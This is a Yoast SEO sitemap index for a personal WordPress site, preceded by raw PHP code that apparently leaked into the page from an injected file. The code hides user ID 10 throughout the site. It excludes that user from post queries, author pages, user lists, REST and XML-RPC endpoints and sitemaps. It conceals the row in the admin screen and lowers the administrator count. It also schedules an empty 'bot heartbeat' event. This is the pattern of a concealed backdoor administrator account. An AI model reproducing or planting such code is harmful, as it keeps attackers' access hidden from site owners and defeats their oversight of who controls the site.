add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 10;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 10;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 10;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-10{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.alexander-riss.de/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap.xml</loc>
		<lastmod>2026-09-20T03:17:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap2.xml</loc>
		<lastmod>2026-08-19T16:52:52+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap3.xml</loc>
		<lastmod>2026-08-20T14:22:24+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap4.xml</loc>
		<lastmod>2026-08-23T18:17:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap5.xml</loc>
		<lastmod>2026-08-26T22:19:34+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap6.xml</loc>
		<lastmod>2026-08-28T02:53:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap7.xml</loc>
		<lastmod>2026-08-28T11:00:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap8.xml</loc>
		<lastmod>2026-08-31T05:46:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap9.xml</loc>
		<lastmod>2026-08-31T18:48:19+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap10.xml</loc>
		<lastmod>2026-08-31T18:55:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap11.xml</loc>
		<lastmod>2026-08-31T18:59:42+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap12.xml</loc>
		<lastmod>2026-09-01T09:34:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap13.xml</loc>
		<lastmod>2026-09-02T04:02:57+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap14.xml</loc>
		<lastmod>2026-09-02T07:12:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap15.xml</loc>
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	</sitemap>
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		<lastmod>2026-09-03T22:28:18+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap17.xml</loc>
		<lastmod>2026-09-04T06:57:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap18.xml</loc>
		<lastmod>2026-09-05T20:51:08+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap19.xml</loc>
		<lastmod>2026-09-06T13:19:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap20.xml</loc>
		<lastmod>2026-09-06T23:27:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap21.xml</loc>
		<lastmod>2026-09-06T23:36:45+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap22.xml</loc>
		<lastmod>2026-09-07T03:08:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap23.xml</loc>
		<lastmod>2026-09-07T05:10:01+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap24.xml</loc>
		<lastmod>2026-09-07T09:22:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap25.xml</loc>
		<lastmod>2026-09-07T10:12:06+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap26.xml</loc>
		<lastmod>2026-09-07T11:10:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap27.xml</loc>
		<lastmod>2026-09-07T12:06:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap28.xml</loc>
		<lastmod>2026-09-07T13:02:09+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap29.xml</loc>
		<lastmod>2026-09-07T13:11:49+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap30.xml</loc>
		<lastmod>2026-09-07T14:52:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap31.xml</loc>
		<lastmod>2026-09-07T15:38:23+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap32.xml</loc>
		<lastmod>2026-09-07T17:44:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap33.xml</loc>
		<lastmod>2026-09-07T19:20:28+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap34.xml</loc>
		<lastmod>2026-09-07T19:30:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap35.xml</loc>
		<lastmod>2026-09-07T21:08:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap36.xml</loc>
		<lastmod>2026-09-10T11:53:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap37.xml</loc>
		<lastmod>2026-09-12T15:51:44+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap38.xml</loc>
		<lastmod>2026-09-14T10:59:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap39.xml</loc>
		<lastmod>2026-09-14T15:44:44+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap40.xml</loc>
		<lastmod>2026-09-15T23:03:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap41.xml</loc>
		<lastmod>2026-09-17T10:43:51+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap42.xml</loc>
		<lastmod>2026-09-17T16:57:38+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap43.xml</loc>
		<lastmod>2026-09-18T06:35:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap44.xml</loc>
		<lastmod>2026-09-18T18:37:08+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post-sitemap45.xml</loc>
		<lastmod>2026-09-20T03:17:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/page-sitemap.xml</loc>
		<lastmod>2026-09-19T11:54:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/category-sitemap.xml</loc>
		<lastmod>2026-09-20T03:17:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/post_tag-sitemap.xml</loc>
		<lastmod>2026-09-19T18:24:37+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.alexander-riss.de/ngg_tag-sitemap.xml</loc>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->